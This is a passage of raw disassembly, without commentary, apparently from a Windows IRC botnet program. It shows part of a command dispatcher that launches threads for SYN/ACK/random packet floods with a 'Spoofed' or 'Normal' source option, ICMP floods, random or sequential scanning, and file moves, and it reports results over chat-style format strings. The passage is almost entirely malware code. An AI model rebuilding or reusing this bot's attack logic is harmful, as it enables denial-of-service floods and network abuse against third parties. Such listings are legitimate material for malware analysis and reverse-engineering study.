[ebp+arg_18] call sub_4159EF pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40513E loc_40FECB: ; CODE XREF: sub_40D2E0+587Aj add esp, 24h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_40FED3: ; CODE XREF: sub_40D2E0+2892j ; sub_40D2E0+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_4159FA lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4158A0 add esp, 14h test eax, eax jz short loc_40FF36 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40FF36 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_40FF36 push offset dword_42D04C jmp loc_412A6C ; --------------------------------------------------------------------------- loc_40FF36: ; CODE XREF: sub_40D2E0+2C1Cj ; sub_40D2E0+2C33j ... push [ebp+arg_10] call sub_4159EF cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_410062 push edi lea eax, [ebp+var_678] push esi push eax call sub_4159FA add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_4159FA push [ebp+arg_0] call sub_4159EF mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_4159FA mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_40FFD3 mov eax, offset aNormal ; "Normal" loc_40FFD3: ; CODE XREF: sub_40D2E0+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_42CFF8 lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_414F2C add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410051 loc_41003B: ; CODE XREF: sub_40D2E0+2D6Fj cmp [ebp+var_560], ebx jnz loc_412A7A push 32h call ds:dword_422054 ; Sleep jmp short loc_41003B ; --------------------------------------------------------------------------- loc_410051: ; CODE XREF: sub_40D2E0+2D59j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42CFB0 jmp loc_41206B ; --------------------------------------------------------------------------- loc_410062: ; CODE XREF: sub_40D2E0+2C67j push offset dword_42CF68 jmp loc_412A6C ; --------------------------------------------------------------------------- loc_41006C: ; CODE XREF: sub_40D2E0+284Dj ; sub_40D2E0+2864j ... cmp ds:dword_436558, ebx mov esi, [ebp+arg_4] jnz loc_410177 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_416D30 push [ebp+arg_18] call sub_4159EF push [ebp+arg_0] mov [ebp+var_318], eax call sub_4159EF push [ebp+arg_10] mov [ebp+var_314], eax call sub_4159EF push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_416D30 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_42CF10 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_414F2C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_4095CC push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410166 loc_410154: ; CODE XREF: sub_40D2E0+2E84j cmp [ebp+var_2FC], ebx jnz short loc_410190 push 32h call ds:dword_422054 ; Sleep jmp short loc_410154 ; --------------------------------------------------------------------------- loc_410166: ; CODE XREF: sub_40D2E0+2E72j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42CEC8 jmp loc_410D3A ; --------------------------------------------------------------------------- loc_410177: ; CODE XREF: sub_40D2E0+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_416D30 loc_41018D: ; CODE XREF: sub_40D2E0+3A66j add esp, 0Ch loc_410190: ; CODE XREF: sub_40D2E0+2E7Aj ; sub_40D2E0+2FD2j ... cmp [ebp+var_8], ebx jnz loc_41327F push ebx push [ebp+var_4] loc_41019D: ; CODE XREF: sub_40D2E0+567Ej lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_412A97 ; --------------------------------------------------------------------------- loc_4101B0: ; CODE XREF: sub_40D2E0+2808j ; sub_40D2E0+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_416D30 push [ebp+arg_18] call sub_4159EF push [ebp+arg_0] mov [ebp+var_318], eax call sub_4159EF push [ebp+arg_10] mov [ebp+var_314], eax call sub_4159EF mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_410215 push esi call sub_4159EF pop ecx mov [ebp+var_30C], eax jmp short loc_41021B ; --------------------------------------------------------------------------- loc_410215: ; CODE XREF: sub_40D2E0+2F24j mov [ebp+var_30C], ebx loc_41021B: ; CODE XREF: sub_40D2E0+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_416D30 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_42CE58 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_414F2C add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_409758 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_4102C2 loc_4102AC: ; CODE XREF: sub_40D2E0+2FE0j cmp [ebp+var_2FC], ebx jnz loc_410190 push 32h call ds:dword_422054 ; Sleep jmp short loc_4102AC ; --------------------------------------------------------------------------- loc_4102C2: ; CODE XREF: sub_40D2E0+2FCAj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42CE10 jmp loc_410D3A ; --------------------------------------------------------------------------- loc_4102D3: ; CODE XREF: sub_40D2E0+27DAj ; sub_40D2E0+27F1j push 8 call sub_415174 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_4159EF add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 3E8h jle short loc_410326 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_42CDC4 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 20h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_410326: ; CODE XREF: sub_40D2E0+300Fj push edi call sub_4159EF push [ebp+arg_18] mov [ebp+var_330], eax call sub_4159EF push [ebp+arg_0] mov [ebp+var_318], eax call sub_4159EF add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_41035F push 2 pop eax mov [ebp+var_32C], eax loc_41035F: ; CODE XREF: sub_40D2E0+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_41036C mov [ebp+var_32C], ecx loc_41036C: ; CODE XREF: sub_40D2E0+3084j push [ebp+arg_10] call sub_4159EF cmp eax, 270Fh pop ecx mov [ebp+var_328], eax jbe short loc_41038C mov [ebp+var_328], 270Fh loc_41038C: ; CODE XREF: sub_40D2E0+30A0j or [ebp+var_314], 0FFFFFFFFh cmp ds:dword_426620, ebx mov [ebp+arg_0], ebx jz short loc_4103E2 mov [ebp+arg_24], offset dword_426620 loc_4103A5: ; CODE XREF: sub_40D2E0+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_4103C8 add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_4103A5 jmp short loc_4103E2 ; --------------------------------------------------------------------------- loc_4103C8: ; CODE XREF: sub_40D2E0+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, ds:dword_426620[ecx] mov [ebp+var_330], ecx loc_4103E2: ; CODE XREF: sub_40D2E0+30BCj ; sub_40D2E0+30E6j cmp [ebp+var_330], ebx jz loc_4124A7 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_410429 cmp byte ptr [edi], 23h jz short loc_410429 push edi lea eax, [ebp+var_444] push 10h push eax call sub_4159FA push 78h push edi call sub_417070 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_4104FD ; --------------------------------------------------------------------------- loc_410429: ; CODE XREF: sub_40D2E0+3117j ; sub_40D2E0+311Cj cmp [ebp+var_9C7], bl jnz short loc_41044B cmp [ebp+var_9C6], bl jnz short loc_41044B cmp [ebp+var_9B6], bl jnz short loc_41044B push offset unk_42CD80 jmp loc_412A6C ; --------------------------------------------------------------------------- loc_41044B: ; CODE XREF: sub_40D2E0+314Fj ; sub_40D2E0+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call ds:dword_43640C ; getsockname mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_444] push eax call sub_416D30 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_4104F7 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_417030 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_4104EB loc_4104C9: ; CODE XREF: sub_40D2E0+3209j cmp eax, ebx jz short loc_4104EB mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_417030 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4104C9 loc_4104EB: ; CODE XREF: sub_40D2E0+31E7j ; sub_40D2E0+31EBj mov [ebp+var_304], 1 jmp short loc_4104FD ; --------------------------------------------------------------------------- loc_4104F7: ; CODE XREF: sub_40D2E0+31C1j mov [ebp+var_304], ebx loc_4104FD: ; CODE XREF: sub_40D2E0+3144j ; sub_40D2E0+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_4159FA mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_41054E loc_41053B: ; CODE XREF: sub_40D2E0+3291j push esi loc_41053C: ; CODE XREF: sub_40D2E0+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_4159FA add esp, 0Ch jmp short loc_410579 ; --------------------------------------------------------------------------- loc_41054E: ; CODE XREF: sub_40D2E0+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_41055D cmp byte ptr [eax], 23h jnz short loc_41055D push eax jmp short loc_41053C ; --------------------------------------------------------------------------- loc_41055D: ; CODE XREF: sub_40D2E0+3273j ; sub_40D2E0+3278j mov esi, offset aF_0 ; "#f" push offset byte_4325D8 push esi call sub_4158A0 pop ecx test eax, eax pop ecx jnz short loc_41053B mov [ebp+var_3B4], bl loc_410579: ; CODE XREF: sub_40D2E0+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41058B mov eax, offset aSequential ; "Sequential" loc_41058B: ; CODE XREF: sub_40D2E0+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_42CCFC push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_414F2C add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_405FC5 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410619 loc_410603: ; CODE XREF: sub_40D2E0+3337j cmp [ebp+var_300], ebx jnz loc_412A7A push 32h call ds:dword_422054 ; Sleep jmp short loc_410603 ; --------------------------------------------------------------------------- loc_410619: ; CODE XREF: sub_40D2E0+3321j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42CCB4 jmp loc_41206B ; --------------------------------------------------------------------------- loc_41062A: ; CODE XREF: sub_40D2E0+279Aj ; sub_40D2E0+27B1j push edi call sub_4159EF imul eax, 234h pop ecx cmp ds:byte_43BED8[eax], bl jz loc_4133B5 cmp [ebp+var_C], ebx jz loc_4133B5 push [ebp+arg_18] call sub_415C80 push edi mov esi, eax call sub_415C80 push [ebp+arg_8] add esi, eax call sub_415C80 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415A50 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_42CCA8 push eax call sub_415480 add esp, 0Ch cmp esi, ebx jz loc_4133B5 push edi call sub_4159EF test eax, eax pop ecx jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAE7 push edi call sub_4159EF imul eax, 234h add esp, 18h cmp byte ptr ds:dword_43BCC0[eax], 73h jnz loc_4133B5 push esi push edi call sub_4159EF imul eax, 234h pop ecx add eax, offset byte_43BED8 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_410715: ; CODE XREF: sub_40D2E0+3532j lea eax, [ebp+var_2DC] push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 28h jmp loc_4133B5 ; --------------------------------------------------------------------------- loc_410742: ; CODE XREF: sub_40D2E0+276Cj ; sub_40D2E0+2783j push edi call sub_4159EF imul eax, 234h pop ecx cmp ds:byte_43BED8[eax], bl jz loc_4133B5 cmp [ebp+var_C], ebx jz loc_4133B5 push [ebp+arg_18] call sub_415C80 push edi mov esi, eax call sub_415C80 push [ebp+arg_8] add esi, eax call sub_415C80 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_415A50 mov esi, eax add esp, 14h cmp esi, ebx jz loc_4133B5 push edi call sub_4159EF test eax, eax pop ecx jle loc_4133B5 push edi call sub_4159EF cmp eax, 400h pop ecx jge loc_4133B5 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_4159EF imul eax, 234h pop ecx push ds:dword_43BECC[eax] call sub_40BAE7 push edi call sub_4159EF imul eax, 234h add esp, 18h cmp byte ptr ds:dword_43BCC0[eax], 73h jnz loc_4133B5 push esi push edi call sub_4159EF imul eax, 234h pop ecx add eax, offset byte_43BED8 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_410715 ; --------------------------------------------------------------------------- loc_410817: ; CODE XREF: sub_40D2E0+273Ej ; sub_40D2E0+2755j push edi call ds:dword_4364A8 ; inet_addr push [ebp+arg_18] mov [ebp+var_474], eax call sub_4159EF push [ebp+arg_0] mov [ebp+var_480], eax call sub_4159EF mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_416D30 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_2DC] push offset unk_42CC3C push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_414F2C add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset sub_4142A5 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_4108F9 loc_4108E3: ; CODE XREF: sub_40D2E0+3617j cmp [ebp+var_464], ebx jnz loc_412953 push 32h call ds:dword_422054 ; Sleep jmp short loc_4108E3 ; --------------------------------------------------------------------------- loc_4108F9: ; CODE XREF: sub_40D2E0+3601j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42CBF0 jmp loc_412944 ; --------------------------------------------------------------------------- loc_41090A: ; CODE XREF: sub_40D2E0+2710j ; sub_40D2E0+2727j push edi call sub_4159EF push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_416D30 push [ebp+arg_0] call sub_4159EF mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_4159FA mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_409526 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_42CBA4 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_414F2C add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_406224 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_4109F6 loc_4109E0: ; CODE XREF: sub_40D2E0+3714j cmp [ebp+var_300], ebx jnz loc_412953 push 32h call ds:dword_422054 ; Sleep jmp short loc_4109E0 ; --------------------------------------------------------------------------- loc_4109F6: ; CODE XREF: sub_40D2E0+36FEj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42CB50 jmp loc_412944 ; --------------------------------------------------------------------------- loc_410A07: ; CODE XREF: sub_40D2E0+26E2j ; sub_40D2E0+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_416D30 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_416D30 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_4159EF mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_410A63 push 10h push ebx push eax call sub_416A80 add esp, 0Ch mov [ebp+var_570], eax jmp short loc_410A69 ; --------------------------------------------------------------------------- loc_410A63: ; CODE XREF: sub_40D2E0+376Dj mov [ebp+var_570], ebx loc_410A69: ; CODE XREF: sub_40D2E0+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_410A80 push esi call sub_4159EF pop ecx mov [ebp+var_574], eax jmp short loc_410A86 ; --------------------------------------------------------------------------- loc_410A80: ; CODE XREF: sub_40D2E0+378Fj mov [ebp+var_574], ebx loc_410A86: ; CODE XREF: sub_40D2E0+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_42CB14 push eax call sub_415480 push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_414F2C add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40B105 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410B37 loc_410B21: ; CODE XREF: sub_40D2E0+3855j cmp [ebp+var_560], ebx jnz loc_410190 push 32h call ds:dword_422054 ; Sleep jmp short loc_410B21 ; --------------------------------------------------------------------------- loc_410B37: ; CODE XREF: sub_40D2E0+383Fj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42CAC4 jmp loc_410D3A ; --------------------------------------------------------------------------- loc_410B48: ; CODE XREF: sub_40D2E0+26B4j ; sub_40D2E0+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_416D30 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_416D30 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_416D30 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_416D30 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_42CA88 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_414F2C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410C1B loc_410C09: ; CODE XREF: sub_40D2E0+3939j cmp [ebp+var_560], ebx jnz short loc_410C36 push 32h call ds:dword_422054 ; Sleep jmp short loc_410C09 ; --------------------------------------------------------------------------- loc_410C1B: ; CODE XREF: sub_40D2E0+3927j call ds:dword_42206C ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2DC] push offset dword_42CA40 push eax call sub_415480 add esp, 0Ch loc_410C36: ; CODE XREF: sub_40D2E0+392Fj cmp [ebp+var_8], ebx jnz loc_41327F push ebx push esi jmp loc_412A87 ; --------------------------------------------------------------------------- loc_410C46: ; CODE XREF: sub_40D2E0+266Fj ; sub_40D2E0+2686j ... push 7Fh lea eax, [ebp+var_7E8] pop esi push esi push edi push eax call sub_416D30 push esi lea eax, [ebp+var_768] push [ebp+arg_18] push eax call sub_416D30 push esi lea eax, [ebp+var_6E8] push [ebp+arg_0] push eax call sub_416D30 push esi lea eax, [ebp+var_668] push [ebp+var_8C] push eax call sub_416D30 push 20h lea eax, [ebp+var_5E8] push [ebp+arg_8] push eax call sub_416D30 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_568], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_7F0], esi push edi push offset unk_42CA00 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 0Ah push eax call sub_414F2C add esp, 20h mov [ebp+var_7EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F0] push ebx push eax push offset sub_401000 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_7EC] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410D2E loc_410D18: ; CODE XREF: sub_40D2E0+3A4Cj cmp [ebp+var_560], ebx jnz loc_410190 push 32h call ds:dword_422054 ; Sleep jmp short loc_410D18 ; --------------------------------------------------------------------------- loc_410D2E: ; CODE XREF: sub_40D2E0+3A36j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42C9B8 loc_410D3A: ; CODE XREF: sub_40D2E0+2E92j ; sub_40D2E0+2FEEj ... lea eax, [ebp+var_2DC] push eax call sub_415480 jmp loc_41018D ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40D2E0+2641j ; sub_40D2E0+2658j push 7Fh lea eax, [ebp+var_458] push edi push eax call sub_416D30 push [ebp+arg_18] call sub_4159EF push 3Fh mov [ebp+var_308], eax push [ebp+arg_0] lea eax, [ebp+var_3D8] push eax call sub_416D30 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_410D99 push 3Fh lea eax, [ebp+var_398] push esi push eax call sub_416D30 add esp, 0Ch loc_410D99: ; CODE XREF: sub_40D2E0+3AA5j lea eax, [ebp+var_3D8] mov [ebp+var_304], 1 push eax lea eax, [ebp+var_458] push [ebp+var_308] push eax lea eax, [ebp+var_2DC] push offset unk_42C978 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 18h push eax call sub_414F2C add esp, 20h mov [ebp+var_300], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_45C] push ebx push eax push offset sub_40D000 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_300] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410E25 loc_410E0F: ; CODE XREF: sub_40D2E0+3B43j cmp [ebp+var_2FC], ebx jnz loc_411ED0 push 32h call ds:dword_422054 ; Sleep jmp short loc_410E0F ; --------------------------------------------------------------------------- loc_410E25: ; CODE XREF: sub_40D2E0+3B2Dj call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42C930 jmp loc_40FCF6 ; --------------------------------------------------------------------------- loc_410E36: ; CODE XREF: sub_40D2E0+2601j ; sub_40D2E0+2618j push [ebp+arg_18] call sub_4159EF cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_410F2D mov esi, 80h push edi lea eax, [ebp+var_6F8] push esi push eax call sub_4159FA add esp, 0Ch xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_4159FA mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_568], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_564], eax lea eax, [ebp+var_2DC] push edi push offset unk_42C8F4 push 200h push eax call sub_4159FA push ebx lea eax, [ebp+var_2DC] push 0Dh push eax call sub_414F2C add esp, 20h mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_40144A push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_410F1C loc_410F06: ; CODE XREF: sub_40D2E0+3C3Aj cmp [ebp+var_560], ebx jnz loc_412A7A push 32h call ds:dword_422054 ; Sleep jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40D2E0+3C24j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42C8AC jmp loc_41206B ; --------------------------------------------------------------------------- loc_410F2D: ; CODE XREF: sub_40D2E0+3B67j push offset unk_42C864 jmp loc_412A6C ; --------------------------------------------------------------------------- loc_410F37: ; CODE XREF: sub_40D2E0+25D3j ; sub_40D2E0+25EAj push [ebp+arg_18] push edi call ds:dword_422154 ; MoveFileA test eax, eax jz short loc_410F67 push [ebp+arg_18] lea eax, [ebp+var_2DC] push edi push offset unk_42C830 push 200h push eax call sub_4159FA add esp, 14h jmp loc_412A7A ; --------------------------------------------------------------------------- loc_410F67: ; CODE XREF: sub_40D2E0+3C63j push offset dword_42C814 call sub_40907B pop ecx push eax lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA jmp loc_412077 ; --------------------------------------------------------------------------- loc_410F89: ; CODE XREF: sub_40D2E0+25A5j ; sub_40D2E0+25BCj push edi lea eax, [ebp+var_774] push 104h push eax call sub_4159FA add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_410FC3 push [ebp+arg_18] push [ebp+var_C] call sub_415A50 pop ecx cmp eax, ebx pop ecx jz short loc_410FC3 push eax lea eax, [ebp+var_670] push eax call sub_415480 pop ecx pop ecx loc_410FC3: ; CODE XREF: sub_40D2E0+3CC1j ; sub_40D2E0+3CD2j push [ebp+var_8C] lea eax, [ebp+var_7F4] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_7F8], eax mov eax, [ebp+var_4] mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax lea eax, [ebp+var_670] push eax lea eax, [ebp+var_774] push eax push offset unk_42C7D4 lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_414F2C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_7F8] push ebx push eax push offset 